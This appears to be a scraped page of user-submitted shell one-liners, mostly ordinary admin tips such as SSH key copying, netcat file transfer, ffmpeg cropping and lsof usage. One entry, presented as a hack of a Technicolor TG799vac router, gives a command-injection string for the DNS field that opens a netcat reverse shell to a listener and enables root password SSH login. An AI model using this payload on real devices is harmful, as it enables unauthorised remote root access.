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Perl One Liner to Generate a Random IP Address
This is sample output - yours may be different.
0

perl -le '$,=".";print map int rand 256,1..4'

depesz · 2011-01-16 16:56:44 3
Join lines split with backslash at the end

Show Sample Output
This is sample output - yours may be different.
```
# tr -d '\\' <<END | tr -d '\n'
Hello \\
world!
END
>> Hello world!

or 

echo 'scale=70; 127/131' | bc | tr -d '\\' | tr -d '\n'
.9694656488549618320610687022900763358778625954198473282442748091603053
```
0

tr -d '\\' | tr -d '\n'

tongrider · 2011-10-13 17:40:02 7
Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id

chmod authorized_keys so you don't get "Authentication refused: bad ownership or modes for file /home/user/.ssh/authorized_keys"
This is sample output - yours may be different.
0

cat ~/.ssh/id_rsa.pub | ssh tester@10.2.6.10 "mkdir -p ~/.ssh; cat >> ~/.ssh/authorized_keys; chmod 600 ~/.ssh/authorized_keys"

unixmonkey37839 · 2012-07-18 04:41:54 12
Change my shell to zsh
This is sample output - yours may be different.
0

sudo usermod -s `which zsh` `whoami`

frankowp · 2012-09-11 21:58:01 8
netcat - send tar archive remotely (sending side)

Tar's up $DIR locally (w/bzip2) and sends remotely to $HOST:$PORT where netcat listens (using openbsd netcat). Start up receiving side command first, then execute this.
This is sample output - yours may be different.
0

tar -cjf - $DIR | nc $HOST $PORT

taintedkernel · 2012-11-13 16:44:26 5
find the number of files, date masked

RU: Найдет число файлов в папке по данной маске в цикле по дням месяца
This is sample output - yours may be different.
0

for i in {1..31}; do ls -1 *${YYYY}${MM}`printf "%02d" $i`* | wc -l; done

Paulus · 2013-07-26 07:08:04 8
Chrome, toggle default CSS style sheet

A very simple command to toggle Chrome?s default style sheet. It uses the test command to see if the "Custom.css.off" file exists, if so, it will become "Custom.css", and if not, "Custom.css" is moved to "Custom.css.off" Thus, swapping. This is accomplished with "&&" and "||"
This is sample output - yours may be different.
0

CSS=$HOME/.config/google-chrome/Default/User\ StyleSheets/Custom.css sh -c 'test -f "$CSS.off" && mv "$CSS.off" "$CSS" || mv "$CSS" "$CSS.off"'

Romero · 2013-10-06 00:38:00 7
Remove .sh file extension for files in current directory

The 'rename' command with the first argument as "'s/\.//'" and the second argument as "" will remove the specified extension from the filenames.
This is sample output - yours may be different.
0

rename 's/\.sh//' ./*

abhikeny · 2014-04-02 16:33:25 6
A function to find a file in the pwd downwards

A simple bash function to the find command. I use this much more than find itself. Show Sample Output
This is sample output - yours may be different.
```
$ fn resume
./Documents/2013/My Resume 2014.pdf
```
0

fn() { find . -iname "*$1*" -print; }

suprjami · 2014-07-15 05:30:59 8
Alias for git merge

Merge remote into local of current branch. Show Sample Output
This is sample output - yours may be different.
```
Merge complete or something.
```
0

alias gm="git merge"

taystack · 2015-02-26 23:42:08 10
Reset the favorite-scopes on the Ubuntu Phone

To fix this bug: https://bugs.launchpad.net/ubuntu/+source/unity8/+bug/1389698
This is sample output - yours may be different.
0

gsettings reset com.canonical.Unity.Dash favorite-scopes

bugmenot · 2016-02-07 17:50:19 12
Check executable shared library usage
This is sample output - yours may be different.
0

ldd `which executable_program`

z3l3man_zn · 2016-08-17 03:49:16 14
crop video using ffmpeg
This is sample output - yours may be different.
0

ffmpeg -i my-demo-video.avi -filter:v "crop=820:750:200:0" -qscale 0 my-demo-video_cropped.avi

ceddi · 2016-10-17 19:03:20 20
Empty a file with better compatibility

Same as `>`, except that the file is truncated to zero length if it exists, even if CLOBBER is unset. This works whatever your shell is and whatever your OS is. The most upvoted answer does not work with ZSH by default. The truncate version does not work on MacOS (and probably others).
This is sample output - yours may be different.
0

:>! filename

_who · 2017-04-21 15:51:01 22
Hacking the Technicolor TG799vac (and unlocking features for openwrt)

Find more info about this hack on my github https://github.com/wuseman/TG799VAC-XTREME-17.2-MINT - Setup a netcat listener 'nc -lvvp 1337' and then from dns field on your technicolor router run the command below and turn dns ON and wait for the magic.. Show Sample Output
This is sample output - yours may be different.
```
https://raw.githubusercontent.com/wuseman/TG799VAC-XTREME-17.2-MINT/master/files/short-version.gif
```
0

::::::;nc 192.168.1.144 1337 -e /bin/sh;rm /etc/dropbear/*;uci set dropbear.lan.PasswordAuth='on';uci set dropbear.lan.RootPasswordAuth='on';uci set dropbear.lan.Interface='lan';uci set dropbear.lan.enable='1';/etc/init.d/dropbear restart; uci commit

wuseman1 · 2018-11-12 02:02:43 339
ifrename

rename a network interface e.g. make eth0 eth1 or vice versa the interface needs to be down -> "/sbin/ifconfig oldname down"
This is sample output - yours may be different.
0

busybox nameif newname $(</sys/class/net/oldname/address)

patrick2000 · 2010-05-15 10:24:57 7
A bash function to show the files most recently modified in the named (or current) directory

Returns the most recently modified file in the current (or specified) directory. You can also get the oldest file, via: ls -t1 $* | tail-1 ;
This is sample output - yours may be different.
0

ls -t1 $* | head -1 ;

darkhorse9933 · 2012-02-10 22:13:24 6
Realtime lines per second in a log file

Realtime lines per second in a log file using python ... identical to perl version, except python is much better :) Show Sample Output
This is sample output - yours may be different.
```
27
49
36
36
29
33
33
32
43
31
40
35
43
39
37
38
28
34
31
48
46
37
35
```
0

tail -F /var/log/nginx/access.log | python -c 'exec("import sys,time\nl=0\ne=int(time.time())\nfor line in sys.stdin:\n\tt = int(time.time())\n\tl += 1\n\tif t > e:\n\t\te = t\n\t\tprint l\n\t\tl = 0")'

pykler · 2012-05-15 21:56:46 4
Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id

chmod authorized_keys so you don't get "Authentication refused: bad ownership or modes for file /home/user/.ssh/authorized_keys"
This is sample output - yours may be different.
0

cat ~/.ssh/id_rsa.pub | ssh tester@10.2.6.10 "mkdir -p ~/.ssh; cat >> ~/.ssh/authorized_keys; chmod 600 ~/.ssh/authorized_keys"

unixmonkey37839 · 2012-07-18 04:41:55 6
server's host key is not cached in the registry
This is sample output - yours may be different.
0

plink -agent gist.github.com

evandrix · 2012-09-12 00:22:39 4
netcat - receive tar archive remotely

Receives bzip'd tar archive via netcat (openbsd nc) and stores locally. Displays size with pv. Start this receiver first, then the sender.
This is sample output - yours may be different.
0

nc -l $PORT | pv -b > archive.tar.bz2

taintedkernel · 2012-11-13 16:47:45 4
change file format at one time
This is sample output - yours may be different.
0

find $(YourPATH) -type f -exec dos2unix '{}' \;

chenhow1985 · 2013-07-26 09:07:35 7
print all available make targets
This is sample output - yours may be different.
0

make --print-data-base --dry-run | awk -F':' '/^[a-zA-Z0-9][^$#\/\t=]*:([^=]|$)/ {split($1,A,/ /);for(i in A)print A[i]}'

grapsus · 2013-10-07 12:39:25 6
List members of a group
This is sample output - yours may be different.
0

dsquery group -samid "Group_SAM_Account_Name" | dsget group -members -expand

shawn_abdushakur · 2014-01-10 15:04:54 6
Check your internet connection by pinging Google
This is sample output - yours may be different.
0

ping -c 3 google.com

nicolasmccurdy · 2014-07-16 02:01:01 8
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Go (cd) directly into a new temp folder

This command create a new temp directory using mktemp (to avoid collisions) and change the current working directory to the created directory.

list files recursively by size

Install pip with Proxy

Installs pip packages defining a proxy

output length of longest line

List open files that have no links to them on the filesystem

I have come across a situation in the past where someone has unlinked a file by running an 'rm' command against it while it was still being written to by a running process. The problem manifested itself when a 'df' command showed a filesystem at 100%, but this did not match the total value of a 'du -sk *'. When this happens, the process continues to write to the file but you can no longer see the file on the filesystem. Stopping and starting the process will, more often than not, get rid of the unlinked file, however this is not always possible on a live server. When you are in this situation you can use the 'lsof' command above to get the PID of the process that owns the file (in the sample output this is 23521). Run the following command to see a sym-link to the file (marked as deleted): $ cd /proc/23521/fd && ls -l Truncate the sym-link to regain your disk space: $ > /proc/23521/fd/3 I should point out that this is pretty brutal and *could* potentially destabilise your system depending on what process the file belongs to that you are truncating.

Get AWS temporary credentials ready to export based on a MFA virtual appliance

You might want to secure your AWS operations requiring to use a MFA token. But then to use API or tools, you need to pass credentials generated with a MFA token. This commands asks you for the MFA code and retrieves these credentials using AWS Cli. To print the exports, you can use: `awk '{ print "export AWS_ACCESS_KEY_ID=\"" $1 "\"\n" "export AWS_SECRET_ACCESS_KEY=\"" $2 "\"\n" "export AWS_SESSION_TOKEN=\"" $3 "\"" }'` You must adapt the command line to include: * $MFA_IDis ARN of the virtual MFA or serial number of the physical one * TTL for the credentials

List only directories, one per line

omit the 1 (one) if you don't need one-per-line

Which processes are listening on a specific port (e.g. port 80)

swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

HourGlass

Displays an animated hourglass for x amount of seconds

run command on a group of nodes in parallel redirecting outputs

Do the same as pssh, just in shell syntax. Put your hosts in hostlist, one per line. Command outputs are gathered in output and error directories.

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